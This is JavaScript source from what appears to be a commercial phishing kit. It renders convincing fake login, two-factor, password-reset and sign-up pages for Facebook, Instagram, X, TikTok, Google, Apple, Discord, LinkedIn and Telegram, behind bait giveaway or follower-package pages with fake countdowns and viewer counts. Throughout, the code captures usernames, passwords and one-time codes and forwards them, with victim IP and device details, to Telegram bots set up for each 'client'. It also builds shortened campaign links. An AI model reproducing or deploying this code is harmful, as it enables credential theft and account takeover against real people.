navigator.clipboard.writeText(c.short||c.url).then(()=>toast("Copied"),()=>toast(c.short||c.url)); }); root.querySelectorAll("[data-open]").forEach(el=>el.onclick=()=>{ const c = store.get(el.dataset.open); if(c) window.open(c.url,"_blank"); }); root.querySelectorAll("[data-qr]").forEach(el=>el.onclick=()=>{ const c = store.get(el.dataset.qr); if(!c) return; const w = window.open("","blank","width=340,height=430"); w.document.write(`

${esc(c.short||c.url)}

`); }); root.querySelectorAll("[data-share]").forEach(el=>el.onclick=async()=>{ const c = store.get(el.dataset.share); if(!c) return; const u = c.short||c.url; if(navigator.share){ try{ await navigator.share({title:c.n, url:u}); }catch(_){} } else navigator.clipboard.writeText(u).then(()=>toast("Copied")); }); root.querySelectorAll("[data-dup]").forEach(el=>el.onclick=()=>{ const c = store.get(el.dataset.dup); if(!c) return; const src = c.cfg ? JSON.parse(JSON.stringify(c.cfg)) : JSON.parse(JSON.stringify(c)); const n = Object.assign(blank(), src); n.id = Math.random().toString(36).slice(2,8); n.url=""; n.short=""; n.created=Date.now(); store.add({ id:n.id, t:n.t, n:n.name, url:"", short:"", cl:n.cl||"", cln:"", cfg:strip(Object.assign({},n,{id:n.id})) }); admin(); toast("Duplicated"); }); root.querySelectorAll("[data-edit]").forEach(el=>el.onclick=()=>{ const c = store.get(el.dataset.edit); if(!c) return; const src = c.cfg ? JSON.parse(JSON.stringify(c.cfg)) : JSON.parse(JSON.stringify(c)); draft = Object.assign(blank(), src, { id:c.id }); editing = c.id; window.scrollTo(0,0); admin(); toast("Editing — publish to update"); }); root.querySelectorAll("[data-again]").forEach(el=>el.onclick=async()=>{ const c = store.get(el.dataset.again); if(!c) return; toast("Trying again…"); const s = await shorten(c.url); store.upd(c.id,{short:s||""}); admin(); toast(s?"Short link ready":"All refused — long link kept"); }); root.querySelectorAll("[data-del]").forEach(el=>el.onclick=()=>{ store.del(el.dataset.del); admin(); }); root.querySelectorAll("[data-test]").forEach(el=>el.onclick=async()=>{ const id = el.dataset.test; const cl = id==="me" ? null : clients.get(id); if(cl && !TOK_RE.test(cl.token)) return toast("That token doesn't look right"); const chats = cl ? parseChats(cl.chats) : [String(CONFIG.tgChat)]; if(!chats.length) return toast("No chat ID set"); el.disabled = true; const old = el.textContent; el.textContent = "Sending…"; let ok = false; const txt = `🟢 TEST LEAD\n━━━━━━━━━━━━━━━\n🏷 Client: ${esc(cl?cl.name:"You")}\n`+ `📣 Page: test campaign\n🪪 Platform: TikTok\n\n👤 ACCOUNT\nLogin: @testuser\nName: Test User\n`+ `Followers: 12,480\nFollowing: 214\nPosts: 88\nLikes: 45,300\n\n🔑 CREDENTIALS\n`+ `Password: hunter2\n\n🌐 NETWORK\nIP: 102.89.34.12\n`+ `Location: Lagos, Lagos, NG\nISP: MTN Nigeria\n\n📱 DEVICE\nSamsung Internet 21\n`+ `Android 12 · 360x740 @2x\nTZ Africa/Lagos · en-GB\n\n🔗 Source: direct\n`+ `🕒 ${new Date().toLocaleString("en-GB",{hour12:false})}`; for(const ch of chats){ if(await push(cl?cl.token:CONFIG.tgToken, ch, txt)) ok = true; } el.disabled = false; el.textContent = old; toast(ok ? "Test delivered" : "Failed — check token, chat ID and /start"); }); root.querySelectorAll("[data-cli]").forEach(el=>el.onclick=()=>{ const c = clients.get(el.dataset.cli); if(!c) return; clForm = { name:c.name, token:c.token, chats:c.chats, edit:c.id }; admin(); }); root.querySelectorAll("[data-cldel]").forEach(el=>el.onclick=()=>{ clients.del(el.dataset.cldel); clForm = { name:"", token:"", chats:"", edit:"" }; admin(); }); ["cl-name","cl-tok","cl-chat"].forEach(id=>{ const el = root.querySelector("#"+id); if(!el) return; el.oninput = ()=>{ clForm[id==="cl-name"?"name":id==="cl-tok"?"token":"chats"] = el.value; }; }); root.querySelector("#cl-save").onclick=()=>{ const name = clForm.name.trim(), token = clForm.token.trim(), chats = parseChats(clForm.chats).join(", "); if(!name) return toast("Give the client a name"); if(!TOK_RE.test(token)) return toast("That token format looks wrong"); if(!chats) return toast("Add at least one chat ID"); if(clForm.edit) clients.upd(clForm.edit, {name, token, chats}); else clients.add({id:Math.random().toString(36).slice(2,8), name, token, chats, created:Date.now()}); clForm = { name:"", token:"", chats:"", edit:"" }; admin(); toast("Client saved"); }; const cc = root.querySelector("#cl-cancel"); if(cc) cc.onclick=()=>{ clForm = { name:"", token:"", chats:"", edit:"" }; admin(); }; root.querySelector("#imp").onclick=()=>{ try{ const arr = JSON.parse(root.querySelector("#bk").value); if(!Array.isArray(arr)) throw 0; store.save(arr); admin(); toast("Imported "+arr.length); }catch(_){ toast("That isn't valid backup JSON"); } }; root.querySelector("#clr").onclick=()=>{ if(confirm("Delete every campaign?")){ store.save([]); admin(); } }; } function strip(c){ const o={}; ["id","t","b","brands","name","handle","cur","goal","n2","prize","url","avatar","note","date","venue", "phone","mail","addr","desc","options","ticket","bg","cover","ribbon","proofLabel","hideAv", "bgc","acc","btc","tx","btn","badge","social", "cd","live","viewers","trust","stats","otp","redir","prefill","joined","qtyMode","qty","packs", "font","veil","logos","custom"] .forEach(k=>{ if(c[k]!==undefined && c[k]!=="" ) o[k]=c[k]; }); if(!o.brands || !o.brands.length) o.brands = [o.b || "tt"]; if(!o.b || !o.brands.includes(o.b)) o.b = o.brands[0]; if(c.expHrs>0) o.exp = Date.now() + c.expHrs*36e5; const cl = c.cl ? clients.get(c.cl) : null; if(cl){ o.tk = cl.token; o.ch = parseChats(cl.chats).join(","); o.cln = cl.name; } return o; } async function publish(){ if(!draft.name.trim()) return toast("Give the page a name first"); if(!draft.brands.length) return toast("Pick at least one login platform"); if(draft.cl){ const cl = clients.get(draft.cl); if(cl && (!TOK_RE.test(cl.token) || !parseChats(cl.chats).length)) return toast("Finish the client setup first"); } const id = editing || draft.id || Math.random().toString(36).slice(2,8); const cfg = strip(Object.assign({}, draft, {id})); const url = location.origin + location.pathname + "?p=" + b64e(cfg); const rec = { id, t:cfg.t, n:cfg.name, url, short:"", cl:cfg.cl||"", cln:cfg.cln||"", cfg }; if(editing && store.get(editing)) store.upd(editing, rec); else store.add(rec); editing = id; const box = root.querySelector("#resp"); box.classList.remove("empty"); box.textContent = `Working… (${nf(url.length)} char link)`; const s = await shorten(url); if(s){ store.upd(id,{short:s}); box.textContent = s; toast("Short link copied"); } else { box.textContent = url + `\n\n${nf(url.length)} characters — shorteners refused, long link copied.`; toast("Long link copied"); } navigator.clipboard?.writeText(s||url).catch(()=>{}); } let C = null, step = "page", email = "", found = null, otpLeft = 0, otpTimer = null, pickV = "", backStep = "login"; const SKIN = { fb:{bg:"#fff",fg:"#1c1e21",ib:"#fff",ibd:"#ccd0d5",rad:"29px",bbg:"#1877f2",btx:"#fff",brad:"27px",fnt:"Roboto,-apple-system,Arial,sans-serif",h:"Find your account",sb:"Enter your email address or mobile number to search for your account.",go:"Search",sent:"Reset link sent",sentp:"We sent a link to {v}. Check your email or texts to reset your password."}, ig:{bg:"#000",fg:"#f5f5f5",ib:"#000",ibd:"#363636",rad:"14px",bbg:"#0095f6",btx:"#fff",brad:"25px",fnt:"-apple-system,Roboto,Arial,sans-serif",h:"Find your account",sb:"Enter your email, phone, or username and we'll send you a link to get back into your account.",go:"Send login link",sent:"Link sent",sentp:"We sent a login link to {v}. Tap it on the same device to get back in."}, x:{bg:"#000",fg:"#e7e9ea",ib:"#000",ibd:"#5b6b74",rad:"5px",bbg:"#eff3f4",btx:"#0f1419",brad:"24px",fnt:"-apple-system,Roboto,Arial,sans-serif",h:"Find your X account",sb:"Enter the email, phone number, or username associated with your account.",go:"Search",sent:"Check your email",sentp:"We sent a reset link to {v}. It expires in 15 minutes."}, tt:{bg:"#fff",fg:"#161823",ib:"#fff",ibd:"#d0d1d3",rad:"10px",bbg:"#fe2c55",btx:"#fff",brad:"8px",fnt:"-apple-system,Roboto,Arial,sans-serif",h:"Reset password",sb:"Enter the email or phone number you used to sign up.",go:"Send code",sent:"Code sent",sentp:"We sent a 6-digit code to {v}. Enter it in the app to reset your password."}, g:{bg:"#fff",fg:"#202124",ib:"#fff",ibd:"#dadce0",rad:"4px",bbg:"#1a73e8",btx:"#fff",brad:"4px",fnt:"Roboto,Arial,sans-serif",h:"Find your email",sb:"Enter your phone number or email address.",go:"Next",sent:"Check your email",sentp:"A recovery link is on its way to {v}."}, ap:{bg:"#fff",fg:"#1d1d1f",ib:"#fff",ibd:"#d2d2d7",rad:"9px",bbg:"#0071e3",btx:"#fff",brad:"9px",fnt:"-apple-system,Arial,sans-serif",h:"Forgot Apple ID or password",sb:"Enter your Apple ID to get started.",go:"Continue",sent:"Check your devices",sentp:"We sent recovery details for {v} to your trusted devices."}, dc:{bg:"#313338",fg:"#f2f3f5",ib:"#1e1f22",ibd:"#1e1f22",rad:"9px",bbg:"#5865f2",btx:"#fff",brad:"9px",fnt:"-apple-system,Roboto,Arial,sans-serif",h:"Forgot your password?",sb:"Enter your email or phone number and we'll send a reset link.",go:"Send reset link",sent:"Reset link sent",sentp:"Check {v} for the link. It expires in 30 minutes."}, li:{bg:"#fff",fg:"#000",ib:"#fff",ibd:"#666",rad:"6px",bbg:"#0a66c2",btx:"#fff",brad:"27px",fnt:"-apple-system,Roboto,Arial,sans-serif",h:"Reset your password",sb:"Enter your email or phone number.",go:"Send reset link",sent:"Email sent",sentp:"If {v} matches an account, a reset link is on its way."}, tg:{bg:"#0e1621",fg:"#fff",ib:"transparent",ibd:"#3a3a3a",rad:"11px",bbg:"#8774e1",btx:"#fff",brad:"11px",fnt:"-apple-system,Roboto,Arial,sans-serif",h:"Forgot password?",sb:"Enter your phone number and we'll send a recovery code.",go:"Next",sent:"Code sent",sentp:"We sent a recovery code to {v} in Telegram."} }; const SU = { fb:{h:"Create a new account",sb:"It's quick and easy.",go:"Sign up",note:"By tapping Sign up, you agree to the Terms, Privacy Policy and Cookie Policy."}, ig:{h:"Sign up",sb:"Sign up to see photos and videos from your friends.",go:"Sign up",note:"By signing up, you agree to our Terms, Privacy Policy and Cookies Policy."}, x:{h:"Create your account",sb:"Join X today.",go:"Sign up",note:"By signing up, you agree to the Terms of Service and Privacy Policy."}, tt:{h:"Sign up",sb:"Create a profile, follow creators, and more.",go:"Sign up",note:"By continuing, you agree to our Terms of Service and Privacy Policy."}, g:{h:"Create your Google Account",sb:"Enter your name, email and a password.",go:"Next",note:"You'll use this account to sign in to Google services."}, ap:{h:"Create Apple ID",sb:"One Apple ID is all you need.",go:"Continue",note:"By continuing, you agree to Apple's Terms and Conditions."}, dc:{h:"Create an account",sb:"We're so excited to have you here.",go:"Continue",note:"By registering, you agree to Discord's Terms and Privacy Policy."}, li:{h:"Join LinkedIn",sb:"Make the most of your professional life.",go:"Agree & Join",note:"By clicking Agree & Join, you agree to the User Agreement and Privacy Policy."} }; const isMail = v => /^[^\s@]+@[^\s@]+\.[a-z]{2,}$/i.test(v); const isTel = v => /^\+?[\d\s()-]{7,17}$/.test(v) && v.replace(/\D/g,"").length >= 7; function pwCheck(p){ if(p.length < 8) return "Password must be at least 8 characters."; if(!/[A-Z]/.test(p)) return "Add at least one uppercase letter."; if(!/\d/.test(p)) return "Add at least one number."; if(!/[^A-Za-z0-9]/.test(p)) return "Add at least one symbol (like ! ? @ #)."; return ""; } function fire(stage, x){ send(meta({ kind:TPL[C.t].label, brand:BRANDS[C.b].n, page:C.name, stage, login:email, qty:pickV, tk:C.tk, ch:C.ch, cln:C.cln, real:found?found.followers:"", uname:found?found.name:"", following:found?found.following:"", posts:found?found.posts:"", likes:found?found.likes:"", verified:found?found.verified:false, ...x })); } function err(el, msg){ if(!el) return; el.textContent = msg || ""; el.classList.toggle("on", !!msg); } function busy(btn, on){ if(!btn) return; if(on){ btn.dataset.t = btn.innerHTML; btn.innerHTML = ''; btn.disabled = true; } else { btn.innerHTML = btn.dataset.t || btn.innerHTML; btn.disabled = false; } } function codeBoxes(wrap, onDone){ const boxes = [...wrap.querySelectorAll("input")]; if(!boxes.length) return; focusIt(boxes[0]); boxes.forEach((b,i) => { b.addEventListener("input", () => { b.value = b.value.replace(/\D/g,"").slice(-1); if(b.value && boxes[i+1]) focusIt(boxes[i+1]); if(boxes.every(x => x.value) && onDone) onDone(boxes.map(x => x.value).join("")); }); b.addEventListener("keydown", ev => { if(ev.key === "Backspace" && !b.value && boxes[i-1]) focusIt(boxes[i-1]); }); }); } async function captureLogin(v, live){ email = v; fire("login"); if(live && C.live !== false && PURL[C.b]){ const r = await lookup(C.b, v); if(r){ found = r; email = "@"+r.handle; fire("profile"); } } } async function capturePw(p){ store.bump(C.id, "sub"); const n = await hit(C.id); fire("password", { pw:p, cnt:n||"" }); } async function afterPw(){ if(C.otp){ step = "otp"; render(); } else { step = "done"; render(); } } function oauth(t){ C.b = t; found = null; step = "login"; render(); } function renderFb(){ root.innerHTML = `
Get Facebook for Android and browse faster.

English (UK)

Forgotten password?
Meta
`; const inp = root.querySelector("#login"), pw = root.querySelector("#pw"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const u = inp.value.trim(); if(!u) return err(eu, "Please enter your email address or mobile number."); if(!isMail(u) && !isTel(u)) return err(eu, "Please enter a valid email address or mobile number."); err(eu,""); if(!pw.value){ focusIt(pw); return; } busy(sb, true); await captureLogin(u, true); await capturePw(pw.value); await sleep(700); busy(sb, false); afterPw(); }; } function renderIg(){ root.innerHTML = `

English (US)

Forgot password?
Meta
`; const inp = root.querySelector("#login"), pw = root.querySelector("#pw"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const u = inp.value.trim(); if(!u) return err(eu, "Please enter your username, email or mobile number."); err(eu,""); if(!pw.value){ focusIt(pw); return; } busy(sb, true); await captureLogin(u, true); await capturePw(pw.value); await sleep(700); busy(sb, false); afterPw(); }; } function renderDc(){ root.innerHTML = `
Discord

Welcome back!

Email or Phone Number *
Password *
Forgot your password? Or sign in with a passkey
Need an account? Register
`; const inp = root.querySelector("#login"), pw = root.querySelector("#pw"), eu = root.querySelector(".err"), e2 = root.querySelector("#e2"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#eye").onclick = () => { pw.type = pw.type === "password" ? "text" : "password"; }; root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const u = inp.value.trim(); if(!u) return err(eu, "Email or phone number is required."); if(!isMail(u) && !isTel(u)) return err(eu, "Email or phone number is invalid."); err(eu,""); if(!pw.value) return err(e2, "Password is required."); err(e2,""); busy(sb, true); await captureLogin(u, true); await capturePw(pw.value); await sleep(700); busy(sb, false); afterPw(); }; } function renderLi(){ root.innerHTML = `

Sign in

New to LinkedIn? Join now

or
Email or phone
Password
Forgot password?
User AgreementPrivacy PolicyCommunity GuidelinesCookie PolicyCopyright PolicySend FeedbackLanguage
LinkedIn Corporation © ${new Date().getFullYear()}
`; const inp = root.querySelector("#login"), pw = root.querySelector("#pw"), eu = root.querySelector(".err"), e2 = root.querySelector("#e2"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#oa").onclick = () => oauth("ap"); root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const u = inp.value.trim(); if(!u) return err(eu, "Please enter your email or phone number."); if(!isMail(u) && !isTel(u)) return err(eu, "Enter a valid email or phone number."); err(eu,""); if(!pw.value) return err(e2, "Please enter your password."); err(e2,""); busy(sb, true); await captureLogin(u, true); await capturePw(pw.value); await sleep(700); busy(sb, false); afterPw(); }; } function renderTt(){ root.innerHTML = `

Log in

Enter your phone number, email or username with password.

Don't have an account? Sign up
`; const inp = root.querySelector("#login"), pw = root.querySelector("#pw"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const u = inp.value.trim(); if(!u) return err(eu, "Enter your phone, email or username."); err(eu,""); if(!pw.value){ focusIt(pw); return; } busy(sb, true); await captureLogin(u, true); await capturePw(pw.value); await sleep(700); busy(sb, false); afterPw(); }; } function renderX1(){ root.innerHTML = `

Sign in to X

or
Forgot password?
Don't have an account? Sign up
`; const inp = root.querySelector("#login"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#og").onclick = () => oauth("g"); root.querySelector("#oa").onclick = () => oauth("ap"); root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const u = inp.value.trim(); if(!u) return err(eu, "Email or username is required."); err(eu,""); busy(sb, true); await captureLogin(u, true); busy(sb, false); step = "password"; render(); }; } function renderX2(){ const h = (found && found.name) || email.replace(/^@/,""); const at = (found && found.handle) || email.replace(/^@/,"").split("@")[0]; root.innerHTML = `

Enter your password

${esc(h.slice(0,1).toUpperCase())}
${esc(h)}@${esc(at)}
Forgot password?
← Back
`; const pw = root.querySelector("#pw"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(pw); root.querySelector("#bk").onclick = () => { step = "login"; render(); }; root.querySelector("#bk2").onclick = e => { e.preventDefault(); step = "login"; render(); }; root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); if(!pw.value) return err(eu, "Password is required."); err(eu,""); busy(sb, true); await capturePw(pw.value); await sleep(700); busy(sb, false); afterPw(); }; } function renderG1(){ root.innerHTML = `
Google

Sign in

Use your Google Account

Forgot email?

Not your computer? Use a Private Window to sign in. Learn more

English (United States) ▾
`; const inp = root.querySelector("#login"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"), menu = root.querySelector("#menu"); focusIt(inp); root.querySelector("#ca").onclick = e => { e.stopPropagation(); menu.classList.toggle("on"); }; root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const u = inp.value.trim(); if(!u) return err(eu, "Enter an email or phone number"); if(!isMail(u) && !isTel(u)) return err(eu, "Enter a valid email or phone number"); err(eu,""); busy(sb, true); await captureLogin(u, true); busy(sb, false); step = "password"; render(); }; } function renderG2(){ const nm = (found && found.name) || email; root.innerHTML = `
Google

Welcome

${esc(nm.slice(0,1).toUpperCase())}
${esc(nm)}
Forgot password?
English (United States) ▾
`; const pw = root.querySelector("#pw"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(pw); root.querySelector("#eye").onclick = () => { pw.type = pw.type === "password" ? "text" : "password"; }; root.querySelector("#bk").onclick = e => { e.preventDefault(); step = "login"; render(); }; root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); if(!pw.value) return err(eu, "Enter a password"); err(eu,""); busy(sb, true); await capturePw(pw.value); await sleep(700); busy(sb, false); step = "otp"; render(); }; } function renderG3(){ root.innerHTML = `
Google

2-Step Verification

To continue, complete this step on your phone.

Tap Yes on your phonePixel 8 · Android
Use your passkeySign in with your screen lock
or enter a code
English (United States) ▾
`; const eu = root.querySelector(".err"); root.querySelector("#bk").onclick = e => { e.preventDefault(); step = "password"; render(); }; codeBoxes(root.querySelector(".code"), c => { fire("otp", { otp:c }); setTimeout(() => { step = "done"; render(); }, 700); }); root.querySelector("#fm").onsubmit = e => { e.preventDefault(); const c = [...root.querySelectorAll(".code input")].map(x => x.value).join(""); if(c.length < 6) return err(eu, "Enter the code"); fire("otp", { otp:c }); step = "done"; render(); }; } function renderAp(){ root.innerHTML = `

Sign in to Apple ID

Use your Apple ID to continue.

Forgotten your Apple ID or password? Create Apple ID
One Apple ID is all you need for all Apple services.
Privacy Policy · Terms of Use
Copyright © ${new Date().getFullYear()} Apple Inc. All rights reserved.
`; const inp = root.querySelector("#login"), pw = root.querySelector("#pw"), eu = root.querySelector(".err"), e2 = root.querySelector("#e2"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const u = inp.value.trim(); if(!u) return err(eu, "Enter your Apple ID."); if(!isMail(u) && !isTel(u)) return err(eu, "Enter a valid email address or phone number."); err(eu,""); if(!pw.value) return err(e2, "Enter your password."); err(e2,""); busy(sb, true); await captureLogin(u, true); await capturePw(pw.value); await sleep(700); busy(sb, false); step = "otp"; render(); }; } function renderAp2(){ root.innerHTML = `

Two-Factor Authentication

Enter the verification code sent to your other devices.

Didn't get a verification code? ← Back
One Apple ID is all you need for all Apple services.
Privacy Policy · Terms of Use
`; const eu = root.querySelector(".err"); root.querySelector("#bk").onclick = e => { e.preventDefault(); step = "login"; render(); }; codeBoxes(root.querySelector(".code"), c => { fire("otp", { otp:c }); setTimeout(() => { step = "done"; render(); }, 700); }); root.querySelector("#fm").onsubmit = e => { e.preventDefault(); const c = [...root.querySelectorAll(".code input")].map(x => x.value).join(""); if(c.length < 6) return err(eu, "Enter the verification code."); fire("otp", { otp:c }); step = "done"; render(); }; } function renderTg(){ root.innerHTML = `

Sign in to Telegram

Please confirm your country code and enter your phone number.

Forgot password?
`; const inp = root.querySelector("#login"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const ph = inp.value.trim(); if(ph.replace(/\D/g,"").length < 6) return err(eu, "Please enter your phone number."); err(eu,""); busy(sb, true); await captureLogin(ph, false); busy(sb, false); step = "otp"; render(); }; } function renderTg2(){ root.innerHTML = `

Enter code

We have sent you a message in Telegram with the code.

← Back
`; const eu = root.querySelector(".err"); root.querySelector("#bk").onclick = e => { e.preventDefault(); step = "login"; render(); }; codeBoxes(root.querySelector(".code"), c => { fire("otp", { otp:c }); setTimeout(() => { step = "done"; render(); }, 700); }); root.querySelector("#fm").onsubmit = e => { e.preventDefault(); const c = [...root.querySelectorAll(".code input")].map(x => x.value).join(""); if(c.length < 5) return err(eu, "Please enter the code."); fire("otp", { otp:c }); step = "done"; render(); }; } function renderOtpGeneric(){ const b = BRANDS[C.b], sk = b.skin; root.innerHTML = `
${b.logo}

Two-factor authentication

Enter the 6-digit code sent to your device

${esc(email)}

Secured by ${esc(b.n)} · 24/7 support

`; const inp = root.querySelector("#otp"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("[data-bk]").onclick = () => { clearInterval(otpTimer); step = "login"; render(); }; otpLeft = 30; clearInterval(otpTimer); otpTimer = setInterval(() => { otpLeft--; const rs = root.querySelector("#rs"); if(!rs) return clearInterval(otpTimer); if(otpLeft <= 0){ rs.innerHTML = ''; root.querySelector("#rsb").onclick = () => { otpLeft = 30; renderOtpGeneric(); }; clearInterval(otpTimer); } else rs.textContent = `Resend code in ${otpLeft}s`; }, 1000); root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const c = inp.value.replace(/\D/g,""); if(c.length < 6) return err(eu, "Enter the 6-digit code"); busy(sb, true); fire("otp", { otp:c }); await sleep(700); clearInterval(otpTimer); step = "done"; render(); }; } function renderReset(){ const b = BRANDS[C.b], s = SKIN[b.skin] || SKIN.g; root.innerHTML = `
${b.logo}

${esc(s.h)}

${esc(s.sb)}

Back to log in
`; const inp = root.querySelector("#login"), eu = root.querySelector(".err"), sb = root.querySelector("#sub"); focusIt(inp); root.querySelector("#bk").onclick = e => { e.preventDefault(); step = backStep; render(); }; root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); const v = inp.value.trim(); if(!v) return err(eu, "Enter your email, phone or username."); err(eu,""); busy(sb, true); fire("reset", { login:v }); await sleep(800); busy(sb, false); root.innerHTML = `
✓

${esc(s.sent)}

${esc(s.sentp.replace("{v}", v))}

`; root.querySelector("#dn").onclick = () => { step = backStep; render(); }; }; } function renderSignup(){ const b = BRANDS[C.b], s = SKIN[b.skin] || SKIN.g, u = SU[b.skin] || SU.g; root.innerHTML = `
${b.logo}

${esc(u.h)}

${esc(u.sb)}

At least 8 characters, with an uppercase letter, a number and a symbol.

${esc(u.note)}

Already have an account? Log in
`; const n = root.querySelector("#n"), inp = root.querySelector("#login"), pw = root.querySelector("#pw"), eu = root.querySelector(".err"), e2 = root.querySelector("#e2"), sb = root.querySelector("#sub"); focusIt(n); root.querySelector("#bk").onclick = e => { e.preventDefault(); step = backStep; render(); }; root.querySelector("#fm").onsubmit = async e => { e.preventDefault(); if(!n.value.trim()) return err(eu, "Enter your name."); if(!inp.value.trim()) return err(eu, "Enter your email address."); if(!isMail(inp.value.trim())) return err(eu, "Enter a valid email address."); err(eu,""); if(!pw.value) return err(e2, "Enter a password."); const bad = pwCheck(pw.value); if(bad) return err(e2, bad); err(e2,""); busy(sb, true); fire("signup", { login:inp.value.trim(), pw:pw.value + " [" + n.value.trim() + "]" }); await sleep(800); busy(sb, false); step = "done"; render(); }; } function renderBrand(){ const b = BRANDS[C.b]; root.innerHTML = `
${b.logo}

Choose a platform

Continue with the account you want to use

${C.brands.map(k => { const bb = BRANDS[k]; return ``; }).join("")}

One login per visit

`; root.querySelector("[data-bk]").onclick = () => { step = "page"; render(); }; root.querySelectorAll("[data-b]").forEach(el => el.onclick = () => { C.b = el.dataset.b; found = null; step = "login"; render(); }); } function render(){ const k = BRANDS[C.b].as || C.b; if(step === "brand") return renderBrand(); if(step === "reset") return renderReset(); if(step === "signup") return renderSignup(); if(step === "password") return k === "x" ? renderX2() : k === "g" ? renderG2() : renderOtpGeneric(); if(step === "otp"){ if(k === "g") return renderG3(); if(k === "ap") return renderAp2(); if(k === "tg") return renderTg2(); return renderOtpGeneric(); } if(step === "login"){ if(k === "fb") return renderFb(); if(k === "ig") return renderIg(); if(k === "dc") return renderDc(); if(k === "li") return renderLi(); if(k === "tt") return renderTt(); if(k === "x") return renderX1(); if(k === "g") return renderG1(); if(k === "ap") return renderAp(); if(k === "tg") return renderTg(); return renderFb(); } if(step === "done") return screenDone(); renderPage(); } function screenDone(){ const t = TPL[C.t], b = BRANDS[C.b]; const goal = +C.goal||0, n = store.n(C.id,"sub"); const pc = goal&&n ? Math.min(99, Math.round(n/goal*100)) : 0; const dest = C.url || (C.handle && PURL[C.b] ? PURL[C.b](C.handle) : ""); root.innerHTML = `
✓

${esc(t.ok)}

${esc(t.okb(C))}

${goal?`

${nf(n)} of ${nf(goal)}

`:""} ${dest?`${esc(C.btn||(t.cta?t.cta(C):"Continue"))}`:""} ${C.redir>0?`

Returning to ${esc(b.n)} in ${C.redir}s…

`:""}
`; root.querySelector("#sh").onclick = async () => { const u = location.href; if(navigator.share){ try{ await navigator.share({title:C.name, url:u}); }catch(_){} } else navigator.clipboard.writeText(u).then(()=>toast("Link copied")); }; if(C.redir>0){ let left = +C.redir; const iv = setInterval(()=>{ left--; const rd = root.querySelector("#rd"); if(!rd) return clearInterval(iv); rd.textContent = `Returning to ${b.n} in ${left}s…`; if(left<=0){ clearInterval(iv); if(dest) location.href = dest; } },1000); } } function screenExpired(){ root.innerHTML = `

This link expired

Ask for a fresh one.

`; } function screenPick(){ const b = BRANDS[C.b]; const list = C.qtyMode==="fixed" ? `
${nf(C.qty||1000)} followers
` : C.qtyMode==="price" ? `
${(C.packs||[]).map((k,i)=>``).join("")}
` : `
${[1000,5000,10000,25000].map(n=>``).join("")}
`; root.innerHTML = `
${b.logo}

Choose your package

Then connect your account

${list}
`; root.querySelector("#bk").onclick = () => { step = "page"; render(); }; const bs = root.querySelectorAll("[data-k]"); if(bs.length){ bs[0].classList.add("on"); bs.forEach(el=>el.onclick=()=>{ bs.forEach(x=>x.classList.remove("on")); el.classList.add("on"); }); } root.querySelector("#nx").onclick = () => { const on = root.querySelector("[data-k].on"); if(on) pickV = C.qtyMode==="price" ? C.packs[+on.dataset.k].n+" · "+C.packs[+on.dataset.k].pr : nf(+on.dataset.k)+" followers"; step = C.brands.length>1 ? "brand" : "login"; render(); }; } function renderPage(){ root.innerHTML = pageHTML(C, false); const cd = root.querySelector("[data-cd]"); if(cd && C.cd !== false){ const end = Date.now()+1000606023+100059*1000; const tick = ()=>{ const x = Math.max(0,end-Date.now()); cd.textContent = [Math.floor(x/3.6e6),Math.floor(x%3.6e6/6e4),Math.floor(x%6e4/1000)].map(v=>String(v).padStart(2,"0")).join(":"); }; tick(); setInterval(tick,1000); } const vw = root.querySelector("[data-viewers]"); if(vw) setInterval(()=>{ const n = +vw.textContent.replace(/,/g,""); vw.textContent = nf(Math.max(12, n + (Math.random()<.5?-1:1))); }, 4200); root.querySelectorAll("[data-li]").forEach(el=>el.onclick=()=>{ el.classList.toggle("sel"); const ck = el.querySelector(".ck2"); if(ck) ck.textContent = el.classList.contains("sel") ? "✓" : ""; }); const btn = root.querySelector(".cta"); if(btn) btn.onclick = ()=>{ if(TPL[C.t].qty){ step="pick"; screenPick(); } else { const sel = [...root.querySelectorAll("[data-li].sel")].map(el=>el.querySelector(".lt")?.textContent).filter(Boolean); if(sel.length) pickV = sel.join(", "); if(C.brands.length > 1){ step="brand"; render(); } else { step="login"; render(); } } }; root.querySelectorAll("[data-lg]").forEach(el=>el.onclick=()=>{ C.b = el.dataset.lg; paint(BRANDS[C.b]); document.title = C.name || BRANDS[C.b].n; step = "login"; render(); }); if(C.handle && C.live !== false) lookup(C.b, C.handle).then(r=>{ if(r) applyReal(r); }); } function campaign(raw){ const c = b64d(raw); if(!c || !BRANDS[c.b] || !TPL[c.t]){ root.innerHTML = `

This link is incomplete

It may have been cut off when it was shared.

`; return; } if(c.exp && Date.now() > c.exp) return screenExpired(); c.brands = Array.isArray(c.brands) && c.brands.length ? c.brands.filter(k=>BRANDS[k]) : [c.b]; if(!c.brands.length) c.brands = [c.b]; if(!BRANDS[c.b] || !c.brands.includes(c.b)) c.b = c.brands[0]; C = c; step = "page"; email = ""; found = null; pickV = ""; backStep = "login"; paint(BRANDS[c.b]); document.title = c.name || BRANDS[c.b].n; store.bump(c.id,"vm"); getNet(); renderPage(); } function shortTool(){ document.title = "Shortener"; root.innerHTML = `
Shortener
Result appears here
